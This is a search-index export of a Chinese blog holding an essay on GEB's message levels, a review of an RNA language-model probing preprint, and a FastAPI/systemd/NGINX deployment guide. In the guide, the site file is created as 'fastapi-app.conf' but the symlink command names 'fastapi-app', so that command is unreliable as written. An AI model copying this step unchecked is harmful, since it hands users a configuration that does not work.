[{"categories":["随笔"],"collections":null,"content":"\r《哥德尔、艾舍尔、巴赫》（GEB）中写道，信号分三个层面：（1）框架消息、（2）外在消息、（3）内在消息。原文对三者的概述为： 这当中我们最熟悉的是（3），即内在消息，它也就是预定要传送的消息：在音乐中是情感体验，在遗传学中是表现型，在书板上是古代文明的王权与礼仪，如此等等。 理解内在消息就是抽取出发送人所要传递的意义。 框架消息是这样一种消息：“我是一条消息，你有本事就来解译我！”它是由信息携带者总体的结构特征隐含地传递的。 理解框架消息就是确认需要一种解码机制。 如果确认了这样的框架消息，那么人们的注意力就会转到第2层：外在消息。这是由消息中符号的模式及结构隐含地携带的信息，说明如何去解译内在消息。 理解外在消息就是建造——或知道如何建造——能正确解译内在消息的解码机制。 作者给出了三个非形式化、感性的层面，却让我不由得联想一些形式化的东西。 框架消息让我首先想到信号的熵和自信息量。在信息学中，熵是描述了一个随机变量的不确定度，而自信息量描述这个随机变量取值有多罕见，或者说，出乎意料。但事实上，假设正在接受无线电信号，噪声的自信息量是比人声高的，因为人声是有规律的，更可以预测。这说明，框架消息并不能简单地用自信息量来描述，我们推断一个信号是否要解读，应该还是经过了一番贝叶斯推断的。无规律的信号我们会认为是噪声，过于规律的信号可解读的信息又不多，我觉得，对人类而言，既具有一定规律、又包含变化的信号，往往更容易引发持续解读的兴趣。 这个发现让我很沮丧，这样的话，我们如何发出一个信号，使另一个智慧文明能够首先接收到框架消息，认为这是一个消息呢？这就不能形式化地求解出一个最佳答案。一个经典答案是数列，斐波拉契数列或者质数数列，因为我们推断另一个智慧文明也极大可能掌握了相同的数学。不过这里好像脱离了讨论框架信息的范围，数学数列还承载了外在消息和内在消息。让掌握无线电的外星文明接受到框架消息应该是很简单的，只要让他在特定频段接收到不是宇宙噪声的信号就行，就像你在安静环境对任何一个有耳朵的动物大叫一声，它都会听到，并尝试寻找你。然而，当接收者的感知机制、先验知识和搜索策略完全未知时，我们无法定义一个普遍适用的最优目标。 对于外在消息，作者立了一个很有趣的靶子。我们接收到一个中文消息，它的外在消息就是“我是中文消息，用中文解读我吧”，如果你发中文消息给一个不会中文，甚至不知道中文概念的外国人，即使你用中文写上“这是一条中文消息”，也于事无补，仅仅在消息内部声明它应该如何被解读，并不能保证一个尚未掌握解码机制的接收者理解这项声明。就像是原文中说的： 在你理解任何一条消息之前，你必须有另一条消息来告诉你如何理解这条消息；换句话说，存在一个具有无穷多层次的消息体系，这就阻止了对任何消息的理解。 但是，我们都知道这些悖论是无效的，因为规则的确是在被使用，而消息也的确是在被理解。这是怎么回事呢？ 作者同样做出了很好的解释 我们大脑的结构是漫长的进化过程的结果，它们的运行是受物理规律控制的。既然它们是物理实体，我们的大脑在运行时无需被告知如何运行。就是在这一层次上，物理规律产生出思维，因而卡罗尔的规则悖论被打破了。与此相类似，在大脑把输入数据解释成消息的那个层次上，消息悖论被打破了。似乎大脑原本就配备着一些“硬件”来识别哪些东西是消息，而且能对这些消息进行解码。就是这种最低限度的抽取内在意义的天生能力使得高度递归的、滚雪球式的语言习得过程得以发生。 最近玩完了《底特律：变人》，不禁让我联想到，人工智能与人类在接收和理解消息的底层机制上，或许存在着某种根本性的差异。 我们当然可以让机器在特定场景下表现出与人类相似的共情反应，但这种相似终究只是我们观察到的结果。人与人之间的共情则有所不同。我们之所以容易被他人的情绪打动，不仅是因为能够理解对方的表达，更是因为我们知道，彼此拥有相似的生理结构，以及由漫长的演化过程塑造出的情绪反应机制。正是这种底层机制的共通性，使我们能够从他人的情绪反应中推及自身，进而相信彼此在某些感受上是相通的。 然而，面对机器时，这种信任似乎就不那么容易建立了。即使我们观察到机器在某些场景中表现出与人类相同的情绪反应，又如何确信它在其他场景中也会如此？倘若某些情境从未被开发者考虑，也未曾出现在训练过程中，机器还能表现出同样的共情吗？ 这是我第一次在博客上写读书随笔，我的讨论也可能有诸多谬误，但我觉得我还是得把想法写下来，总之先放这里吧。 ","date":"2026-10-15","heading":"","objectID":"/blog/posts/book-notes/geb-notes-message/:0:0","tags":["GEB"],"title":"《GEB》随笔：信息的三个层面","uri":"/blog/posts/book-notes/geb-notes-message/#"},{"categories":["科研笔记"],"collections":null,"content":"REDIAL 核心方法：突变一个碱基，观察其他位置的 embedding 怎么变 这篇文章主要回答两个问题： 不训练下游预测器，能不能直接读出 RNA 语言模型中的结构信息？ 一个 12 层的 RNA 语言模型，每一层都有必要吗？ 本文基于作者于 2026 年 5 月 12 日发布的 bioRxiv 预印本版本。 ","date":"2026-09-17","heading":"","objectID":"/blog/posts/research-notes/paper-review-redial/:0:0","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#"},{"categories":["科研笔记"],"collections":null,"content":"评价基础模型依赖下游结构预测\r评价基础模型如 RNA-FM时，主要关注的是 RNA-FM 提取 embedding 后，如何通过下游模块生成三维结构。 RNA 序列 → 预训练语言模型 → embedding → 下游结构模块 → 3D 结构\r↑ ↑\r预训练学到的信息 结构训练集、模型先验等\r下游模型可以从结构训练数据中补充信息，也可能记住某些常见结构。因此，最终预测准确，不足以单独证明基础模型学到了可泛化的结构规律。 这篇文章希望绕开下游训练，直接检查预训练模型的表征。 ","date":"2026-09-17","heading":"评价基础模型依赖下游结构预测","objectID":"/blog/posts/research-notes/paper-review-redial/:1:0","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#评价基础模型依赖下游结构预测"},{"categories":["科研笔记"],"collections":null,"content":"REDIAL：从单点突变到 coupling map\r原文 Fig. 1：REDIAL 观察各层 embedding；Categorical Jacobian 观察 LM-head 输出的 logits。 ","date":"2026-09-17","heading":"REDIAL：从单点突变到 coupling map","objectID":"/blog/posts/research-notes/paper-review-redial/:2:0","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#redial从单点突变到-coupling-map"},{"categories":["科研笔记"],"collections":null,"content":"核心思路\r如果位置 iii 与位置 jjj 存在结构或序列依赖，改变 iii 的碱基，可能影响模型对 jjj 的表示。 ","date":"2026-09-17","heading":"核心思路","objectID":"/blog/posts/research-notes/paper-review-redial/:2:1","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#核心思路"},{"categories":["科研笔记"],"collections":null,"content":"计算过程\r对长度为 LLL 的 RNA，模型输出 L×cL\\times cL×c 的 embedding，其中 ccc 是 hidden dimension。 按通道标准化：让各通道均值为 0、方差为 1，避免少数高幅度通道主导结果。 逐位置突变：每个位置枚举 A、C、G、U，包含原始碱基，共 4L4L4L 个组合。 计算扰动：将突变序列与原序列的标准化 embedding 相减。 聚合并去背景：得到位置之间的 coupling map。 用 z~\\tilde zz~ 表示标准化后的 embedding，扰动张量为： Jiajk=z~jk(xi→a)−z~jk(x),J∈RL×4×L×c.\rJ_{iajk}=\\tilde z_{jk}(x^{i\\to a})-\\tilde z_{jk}(x),\r\\qquad J\\in\\mathbb{R}^{L\\times4\\times L\\times c}.\rJiajk​=z~jk​(xi→a)−z~jk​(x),J∈RL×4×L×c.其中，iii 是突变位置，aaa 是替换碱基，jjj 是被观察的位置，kkk 是 embedding 通道。 按原文 Methods 的公式，对碱基和通道维度取 Frobenius 范数的平方： Cij=∑a,kJiajk2.\rC_{ij}=\\sum_{a,k}J_{iajk}^{2}.\rCij​=a,k∑​Jiajk2​.随后对称化，并做 Average Product Correction（APC）： Sij=Cij+Cji2,Mij=Sij−(∑tSit)(∑sSsj)∑s,tSst.\rS_{ij}=\\frac{C_{ij}+C_{ji}}{2},\\qquad\rM_{ij}=S_{ij}-\\frac{\\left(\\sum_t S_{it}\\right)\\left(\\sum_s S_{sj}\\right)}{\\sum_{s,t}S_{st}}.\rSij​=2Cij​+Cji​​,Mij​=Sij​−∑s,t​Sst​(∑t​Sit​)(∑s​Ssj​)​.APC 用于扣除整体背景效应。最终的 MMM 是一个 L×LL\\times LL×L 的耦合分数矩阵，分数高表示模型对这两个位置的关联更敏感。。 ","date":"2026-09-17","heading":"计算过程","objectID":"/blog/posts/research-notes/paper-review-redial/:2:2","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#计算过程"},{"categories":["科研笔记"],"collections":null,"content":"结构引导预训练确实改善了可读出的信号\r","date":"2026-09-17","heading":"结构引导预训练确实改善了可读出的信号","objectID":"/blog/posts/research-notes/paper-review-redial/:3:0","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#结构引导预训练确实改善了可读出的信号"},{"categories":["科研笔记"],"collections":null,"content":"数据与评价指标\r从 NAKB 筛选单链、无蛋白质或小分子等其他组分的 RNA 结构，并进行清理。 主比较使用 533 个结构–序列对，长度 L≤512L\\leq512L≤512。 参考接触由 Barnaba 的碱基相互作用注释构建，排除无法归类的 XXX 相互作用。 评分取矩阵上三角，并排除自身及序列相邻位置。 接触对通常比非接触对少，而且比例随序列长度变化，因此作者使用经过基线校正的 PR-AUC： AUCadjusted=AUCraw−p1−p,\r\\mathrm{AUC}_{\\mathrm{adjusted}}=\\frac{\\mathrm{AUC}_{\\mathrm{raw}}-p}{1-p},\rAUCadjusted​=1−pAUCraw​−p​,其中 ppp 是参与评价的位置对中真实接触的比例。 随机基线约为 0，完美预测为 1，也可能出现负值。 这里不能把普通 PR-AUC 的随机基线也理解为 0。 ","date":"2026-09-17","heading":"数据与评价指标","objectID":"/blog/posts/research-notes/paper-review-redial/:3:1","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#数据与评价指标"},{"categories":["科研笔记"],"collections":null,"content":"结果\r原文 Fig. 4：散点横轴为 RNA-FM，纵轴为 StructRFM；多数点在对角线上方。右侧展示 hairpin 与 tRNA 的具体例子。 部分短 RNA：RNA-FM 几乎没有读出有效接触，StructRFM 能恢复茎区及 bulge 导致的配对偏移。 部分 tRNA：两个模型都能读出接触，但 StructRFM 的背景更干净。 长 RNA 仍然困难：结构引导没有解决所有问题，补充图 S5 中长度大于 100 的序列仍是两个模型的难点。 ","date":"2026-09-17","heading":"结果","objectID":"/blog/posts/research-notes/paper-review-redial/:3:2","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#结果"},{"categories":["科研笔记"],"collections":null,"content":"12 层 Transformer 都在学结构吗？\r原文 Fig. 5：(a) 比较逐层接触分数; (b) 跳层后的序列恢复表现；(c) 展示 StructRFM 各层读出的 coupling map。 作者做了两类实验： 读取中间层：对每层 embedding 分别运行 REDIAL，看结构信号在哪里出现。 跳过部分层：将保留下来的表示送入后续模块和原 LM-head，检查 perplexity 等指标。 这两个实验回答的问题不同：前者看结构耦合能否被读出，后者看被跳过的计算是否影响输出。 模型\r逐层观察\r作者的解释\rStructRFM\r总体上前 10 层接触信号较弱，最后两层明显增强；部分 tRNA 更早出现信号\r结构信息集中在后部\rRNA-FM\r前约 6 层获得主要接触信号，之后提升有限\r后续层对结构耦合的贡献较少\r","date":"2026-09-17","heading":"12 层 Transformer 都在学结构吗？","objectID":"/blog/posts/research-notes/paper-review-redial/:4:0","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#12-层-transformer-都在学结构吗"},{"categories":["科研笔记"],"collections":null,"content":"更直接的证据：删除 StructRFM 前 6 层\r原文 Fig. 6：(a) StructRFM保留 L7–L12 的模型与完整模型比较; (b) RNA-FM 在不同深度输出的 logits。 StructRFM 仅保留 L7–L12 时，接触预测和序列恢复表现整体仍较接近完整模型，但并非完全无损。进一步缩到 5 层，接触预测能力明显下降。 RNA-FM 则呈现另一种现象：前几层已基本确定碱基身份，后面更多是在压低罕见或辅助 token 的概率，使输出分布更尖锐。作者据此提出，词表设计可能影响参数利用效率；这仍需要重新训练不同词表的模型来做因果验证。 我的理解 这些结果表现出了模型对于 REDIAL 这个任务的冗余，但要区分： REDIAL 读不出来，不代表该层完全没有有用信息。 删层后接触分数接近，不代表所有下游任务都不受影响。 参数冗余与过拟合不是同一个概念，后者还需要训练分布与独立测试分布之间的泛化证据。 ","date":"2026-09-17","heading":"更直接的证据：删除 StructRFM 前 6 层","objectID":"/blog/posts/research-notes/paper-review-redial/:4:1","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#更直接的证据删除-structrfm-前-6-层"},{"categories":["科研笔记"],"collections":null,"content":"思考启发\r提供了一种不借助下游任务，直接比较基础模型的方法 减小模型参数量的思路：直接看各层的 coupling map 的变化 ","date":"2026-09-17","heading":"思考启发","objectID":"/blog/posts/research-notes/paper-review-redial/:5:0","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#思考启发"},{"categories":["科研笔记"],"collections":null,"content":"参考文献\rTeng, D., Qiu, Y., Sakthivel, G., Aranganathan, A., Herron, L. \u0026amp; Tiwary, P. Detecting and quantifying overparametrization in RNA language models with REDIAL. bioRxiv，2026-05-12 版本。DOI: 10.64898/2026.05.11.724344。 ","date":"2026-09-17","heading":"参考文献","objectID":"/blog/posts/research-notes/paper-review-redial/:6:0","tags":["RNA","transformer","DL"],"title":"REDIAL (2026)：从 Embedding 扰动看 RNA 语言模型学到了什么","uri":"/blog/posts/research-notes/paper-review-redial/#参考文献"},{"categories":["开发运维"],"collections":null,"content":"使用 Uvicorn 运行 FastAPI，由 systemd 管理服务的启动、停止和异常重启，NGINX 负责对外提供反向代理。 下面以使用 systemd 的 Ubuntu / Debian 服务器为例，应用目录为 /home/fastapi-user/fastapi-app，入口为 server.py 中的 app 实例。部署已有项目时，需要按实际情况修改路径和入口。 ","date":"2026-09-05","heading":"","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:0:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#"},{"categories":["开发运维"],"collections":null,"content":"设置 FastAPI 应用程序\r一般本机开发，远程使用 git 拉取代码，并配置环境 原生 python\rpython3 -m venv .venv\rsource .venv/bin/activate\rpython -m pip install --upgrade pip\rpython -m pip install -r requirements.txt\rUV 管理\ruv sync\r","date":"2026-09-05","heading":"设置 FastAPI 应用程序","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:1:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#设置-fastapi-应用程序"},{"categories":["开发运维"],"collections":null,"content":"设置 FastAPI 应用程序\r一般本机开发，远程使用 git 拉取代码，并配置环境 原生 python\rpython3 -m venv .venv\rsource .venv/bin/activate\rpython -m pip install --upgrade pip\rpython -m pip install -r requirements.txt\rUV 管理\ruv sync\r","date":"2026-09-05","heading":"原生 python","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:1:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#原生-python"},{"categories":["开发运维"],"collections":null,"content":"设置 FastAPI 应用程序\r一般本机开发，远程使用 git 拉取代码，并配置环境 原生 python\rpython3 -m venv .venv\rsource .venv/bin/activate\rpython -m pip install --upgrade pip\rpython -m pip install -r requirements.txt\rUV 管理\ruv sync\r","date":"2026-09-05","heading":"UV 管理","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:1:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#uv-管理"},{"categories":["开发运维"],"collections":null,"content":"配置 systemd\r创建服务文件\rsudo vim /etc/systemd/system/fastapi-app.service\r添加以下内容： [Unit]\rDescription=FastAPI application served by Uvicorn\rAfter=network.target\r[Service]\rType=simple\rUser=fastapi-user\rGroup=fastapi-user\rWorkingDirectory=/home/fastapi-user/fastapi-app\rEnvironment=\"PYTHONUNBUFFERED=1\"\rExecStart=/home/fastapi-user/fastapi-app/.venv/bin/python -m uvicorn server:app --host 127.0.0.1 --port 8000 --workers 1 --proxy-headers --forwarded-allow-ips=127.0.0.1 --timeout-graceful-shutdown 30\rRestart=on-failure\rRestartSec=5\rKillMode=mixed\rTimeoutStopSec=60\rStandardOutput=journal\rStandardError=journal\rSyslogIdentifier=fastapi-app\r[Install]\rWantedBy=multi-user.target\r主要配置说明： User、Group：运行应用的用户和用户组。 WorkingDirectory：应用工作目录，server.py 位于此目录下。 ExecStart：直接使用虚拟环境中的 Python 启动 Uvicorn，无需执行 source activate。 Restart=on-failure：进程异常退出时自动重启；通过 systemctl stop 主动停止服务不会触发重启。 KillMode=mixed：停止时先向主进程发送终止信号，让它协调 worker 退出；超时后清理剩余进程。 TimeoutStopSec：systemd 等待服务停止的时间，给 Uvicorn 的优雅退出留出余量。 StandardOutput、StandardError：将标准输出和错误输出交给 journal 收集。 systemd 的重启与停止行为可参考 systemd.service 和 systemd.kill。 Uvicorn 参数说明： server:app：表示导入 server.py 中的 app；如果入口是 app/main.py，通常改为 app.main:app。 --workers 1：启动一个工作进程，可根据内存和负载调整。使用多 worker 时，各进程的内存相互独立，应用启动逻辑也会在各 worker 中分别执行。 --reload：生产环境不要加此参数，它与 --workers 不能同时使用。 --proxy-headers 配合 --forwarded-allow-ips=127.0.0.1：只信任本机代理转发的客户端地址和协议头。 参数含义见 Uvicorn Settings。 启动服务并设置开机启动\rsudo systemctl daemon-reload\rsudo systemctl enable --now fastapi-app\rsudo systemctl status fastapi-app --no-pager\rcurl http://127.0.0.1:8000/health\ractive (running) 表示服务进程正在运行，还需要通过 HTTP 请求确认应用已经正常提供服务。 查看日志\r# 查看最近 100 行日志\rsudo journalctl -u fastapi-app -n 100 --no-pager\r# 实时查看日志\rsudo journalctl -u fastapi-app -f\r","date":"2026-09-05","heading":"配置 systemd","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:2:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#配置-systemd"},{"categories":["开发运维"],"collections":null,"content":"配置 systemd\r创建服务文件\rsudo vim /etc/systemd/system/fastapi-app.service\r添加以下内容： [Unit]\rDescription=FastAPI application served by Uvicorn\rAfter=network.target\r[Service]\rType=simple\rUser=fastapi-user\rGroup=fastapi-user\rWorkingDirectory=/home/fastapi-user/fastapi-app\rEnvironment=\"PYTHONUNBUFFERED=1\"\rExecStart=/home/fastapi-user/fastapi-app/.venv/bin/python -m uvicorn server:app --host 127.0.0.1 --port 8000 --workers 1 --proxy-headers --forwarded-allow-ips=127.0.0.1 --timeout-graceful-shutdown 30\rRestart=on-failure\rRestartSec=5\rKillMode=mixed\rTimeoutStopSec=60\rStandardOutput=journal\rStandardError=journal\rSyslogIdentifier=fastapi-app\r[Install]\rWantedBy=multi-user.target\r主要配置说明： User、Group：运行应用的用户和用户组。 WorkingDirectory：应用工作目录，server.py 位于此目录下。 ExecStart：直接使用虚拟环境中的 Python 启动 Uvicorn，无需执行 source activate。 Restart=on-failure：进程异常退出时自动重启；通过 systemctl stop 主动停止服务不会触发重启。 KillMode=mixed：停止时先向主进程发送终止信号，让它协调 worker 退出；超时后清理剩余进程。 TimeoutStopSec：systemd 等待服务停止的时间，给 Uvicorn 的优雅退出留出余量。 StandardOutput、StandardError：将标准输出和错误输出交给 journal 收集。 systemd 的重启与停止行为可参考 systemd.service 和 systemd.kill。 Uvicorn 参数说明： server:app：表示导入 server.py 中的 app；如果入口是 app/main.py，通常改为 app.main:app。 --workers 1：启动一个工作进程，可根据内存和负载调整。使用多 worker 时，各进程的内存相互独立，应用启动逻辑也会在各 worker 中分别执行。 --reload：生产环境不要加此参数，它与 --workers 不能同时使用。 --proxy-headers 配合 --forwarded-allow-ips=127.0.0.1：只信任本机代理转发的客户端地址和协议头。 参数含义见 Uvicorn Settings。 启动服务并设置开机启动\rsudo systemctl daemon-reload\rsudo systemctl enable --now fastapi-app\rsudo systemctl status fastapi-app --no-pager\rcurl http://127.0.0.1:8000/health\ractive (running) 表示服务进程正在运行，还需要通过 HTTP 请求确认应用已经正常提供服务。 查看日志\r# 查看最近 100 行日志\rsudo journalctl -u fastapi-app -n 100 --no-pager\r# 实时查看日志\rsudo journalctl -u fastapi-app -f\r","date":"2026-09-05","heading":"创建服务文件","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:2:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#创建服务文件"},{"categories":["开发运维"],"collections":null,"content":"配置 systemd\r创建服务文件\rsudo vim /etc/systemd/system/fastapi-app.service\r添加以下内容： [Unit]\rDescription=FastAPI application served by Uvicorn\rAfter=network.target\r[Service]\rType=simple\rUser=fastapi-user\rGroup=fastapi-user\rWorkingDirectory=/home/fastapi-user/fastapi-app\rEnvironment=\"PYTHONUNBUFFERED=1\"\rExecStart=/home/fastapi-user/fastapi-app/.venv/bin/python -m uvicorn server:app --host 127.0.0.1 --port 8000 --workers 1 --proxy-headers --forwarded-allow-ips=127.0.0.1 --timeout-graceful-shutdown 30\rRestart=on-failure\rRestartSec=5\rKillMode=mixed\rTimeoutStopSec=60\rStandardOutput=journal\rStandardError=journal\rSyslogIdentifier=fastapi-app\r[Install]\rWantedBy=multi-user.target\r主要配置说明： User、Group：运行应用的用户和用户组。 WorkingDirectory：应用工作目录，server.py 位于此目录下。 ExecStart：直接使用虚拟环境中的 Python 启动 Uvicorn，无需执行 source activate。 Restart=on-failure：进程异常退出时自动重启；通过 systemctl stop 主动停止服务不会触发重启。 KillMode=mixed：停止时先向主进程发送终止信号，让它协调 worker 退出；超时后清理剩余进程。 TimeoutStopSec：systemd 等待服务停止的时间，给 Uvicorn 的优雅退出留出余量。 StandardOutput、StandardError：将标准输出和错误输出交给 journal 收集。 systemd 的重启与停止行为可参考 systemd.service 和 systemd.kill。 Uvicorn 参数说明： server:app：表示导入 server.py 中的 app；如果入口是 app/main.py，通常改为 app.main:app。 --workers 1：启动一个工作进程，可根据内存和负载调整。使用多 worker 时，各进程的内存相互独立，应用启动逻辑也会在各 worker 中分别执行。 --reload：生产环境不要加此参数，它与 --workers 不能同时使用。 --proxy-headers 配合 --forwarded-allow-ips=127.0.0.1：只信任本机代理转发的客户端地址和协议头。 参数含义见 Uvicorn Settings。 启动服务并设置开机启动\rsudo systemctl daemon-reload\rsudo systemctl enable --now fastapi-app\rsudo systemctl status fastapi-app --no-pager\rcurl http://127.0.0.1:8000/health\ractive (running) 表示服务进程正在运行，还需要通过 HTTP 请求确认应用已经正常提供服务。 查看日志\r# 查看最近 100 行日志\rsudo journalctl -u fastapi-app -n 100 --no-pager\r# 实时查看日志\rsudo journalctl -u fastapi-app -f\r","date":"2026-09-05","heading":"启动服务并设置开机启动","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:2:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#启动服务并设置开机启动"},{"categories":["开发运维"],"collections":null,"content":"配置 systemd\r创建服务文件\rsudo vim /etc/systemd/system/fastapi-app.service\r添加以下内容： [Unit]\rDescription=FastAPI application served by Uvicorn\rAfter=network.target\r[Service]\rType=simple\rUser=fastapi-user\rGroup=fastapi-user\rWorkingDirectory=/home/fastapi-user/fastapi-app\rEnvironment=\"PYTHONUNBUFFERED=1\"\rExecStart=/home/fastapi-user/fastapi-app/.venv/bin/python -m uvicorn server:app --host 127.0.0.1 --port 8000 --workers 1 --proxy-headers --forwarded-allow-ips=127.0.0.1 --timeout-graceful-shutdown 30\rRestart=on-failure\rRestartSec=5\rKillMode=mixed\rTimeoutStopSec=60\rStandardOutput=journal\rStandardError=journal\rSyslogIdentifier=fastapi-app\r[Install]\rWantedBy=multi-user.target\r主要配置说明： User、Group：运行应用的用户和用户组。 WorkingDirectory：应用工作目录，server.py 位于此目录下。 ExecStart：直接使用虚拟环境中的 Python 启动 Uvicorn，无需执行 source activate。 Restart=on-failure：进程异常退出时自动重启；通过 systemctl stop 主动停止服务不会触发重启。 KillMode=mixed：停止时先向主进程发送终止信号，让它协调 worker 退出；超时后清理剩余进程。 TimeoutStopSec：systemd 等待服务停止的时间，给 Uvicorn 的优雅退出留出余量。 StandardOutput、StandardError：将标准输出和错误输出交给 journal 收集。 systemd 的重启与停止行为可参考 systemd.service 和 systemd.kill。 Uvicorn 参数说明： server:app：表示导入 server.py 中的 app；如果入口是 app/main.py，通常改为 app.main:app。 --workers 1：启动一个工作进程，可根据内存和负载调整。使用多 worker 时，各进程的内存相互独立，应用启动逻辑也会在各 worker 中分别执行。 --reload：生产环境不要加此参数，它与 --workers 不能同时使用。 --proxy-headers 配合 --forwarded-allow-ips=127.0.0.1：只信任本机代理转发的客户端地址和协议头。 参数含义见 Uvicorn Settings。 启动服务并设置开机启动\rsudo systemctl daemon-reload\rsudo systemctl enable --now fastapi-app\rsudo systemctl status fastapi-app --no-pager\rcurl http://127.0.0.1:8000/health\ractive (running) 表示服务进程正在运行，还需要通过 HTTP 请求确认应用已经正常提供服务。 查看日志\r# 查看最近 100 行日志\rsudo journalctl -u fastapi-app -n 100 --no-pager\r# 实时查看日志\rsudo journalctl -u fastapi-app -f\r","date":"2026-09-05","heading":"查看日志","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:2:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#查看日志"},{"categories":["开发运维"],"collections":null,"content":"NGINX 中的配置\r创建站点配置： sudo nano /etc/nginx/sites-available/fastapi-app.conf\r添加以下内容，将 api.example.com 替换为实际域名，并将域名解析到服务器： server {\rlisten 80;\rserver_name api.example.com;\rlocation / {\rproxy_pass http://127.0.0.1:8000;\rproxy_set_header Host $host;\rproxy_set_header X-Real-IP $remote_addr;\rproxy_set_header X-Forwarded-For $remote_addr;\rproxy_set_header X-Forwarded-Proto $scheme;\rproxy_redirect off;\r}\r}\r这里按 NGINX 直接面向客户端的单层代理配置，覆盖客户端传入的 X-Forwarded-For。如果前面还有 CDN 或负载均衡，需要额外配置可信代理与真实客户端 IP。 启用站点并检查配置，下面的软链接命令只需首次执行： sudo ln -s /etc/nginx/sites-available/fastapi-app /etc/nginx/sites-enabled/fastapi-app\rsudo nginx -t\r检查通过后启动 NGINX 并重新加载配置： sudo systemctl enable --now nginx\rsudo systemctl reload nginx\rcurl -H 'Host: api.example.com' http://127.0.0.1/health\r此时可以通过 http://api.example.com/docs 访问 FastAPI 的接口文档。服务器安全组或防火墙需要允许 HTTP 的 80 端口；Uvicorn 仅监听本机地址，无需开放 8000 端口。对外正式使用时应进一步配置 HTTPS。 ","date":"2026-09-05","heading":"NGINX 中的配置","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:3:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#nginx-中的配置"},{"categories":["开发运维"],"collections":null,"content":"更新与维护\r更新应用\r更新项目代码和依赖时，使用 fastapi-user 执行 sudo -iu fastapi-user\rcd /home/fastapi-user/fastapi-app\rgit pull\rexit\rsudo systemctl restart fastapi-app\rcurl http://127.0.0.1:8000/health\r按实际项目选择依赖安装命令。如果只使用本文的最小示例，修改 server.py 后重启服务即可。restart 会有短暂服务中断，请求检查若遇到应用尚未启动完成，可以查看日志后重试。 修改 .service 文件后，需要重新加载 systemd 配置并重启： sudo systemctl daemon-reload\rsudo systemctl restart fastapi-app\r常用管理命令\rsudo systemctl start fastapi-app\rsudo systemctl stop fastapi-app\rsudo systemctl restart fastapi-app\rsudo systemctl status fastapi-app --no-pager\rsudo nginx -t\rsudo nginx -s reload\r如果服务启动失败，先通过 journalctl 查看错误，重点检查虚拟环境路径、应用入口、文件权限以及端口占用。NGINX 返回 502 时，先在服务器执行 curl http://127.0.0.1:8000/health，确认后端是否正常，再检查 NGINX 配置和 /var/log/nginx/error.log。 ","date":"2026-09-05","heading":"更新与维护","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:4:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#更新与维护"},{"categories":["开发运维"],"collections":null,"content":"更新与维护\r更新应用\r更新项目代码和依赖时，使用 fastapi-user 执行 sudo -iu fastapi-user\rcd /home/fastapi-user/fastapi-app\rgit pull\rexit\rsudo systemctl restart fastapi-app\rcurl http://127.0.0.1:8000/health\r按实际项目选择依赖安装命令。如果只使用本文的最小示例，修改 server.py 后重启服务即可。restart 会有短暂服务中断，请求检查若遇到应用尚未启动完成，可以查看日志后重试。 修改 .service 文件后，需要重新加载 systemd 配置并重启： sudo systemctl daemon-reload\rsudo 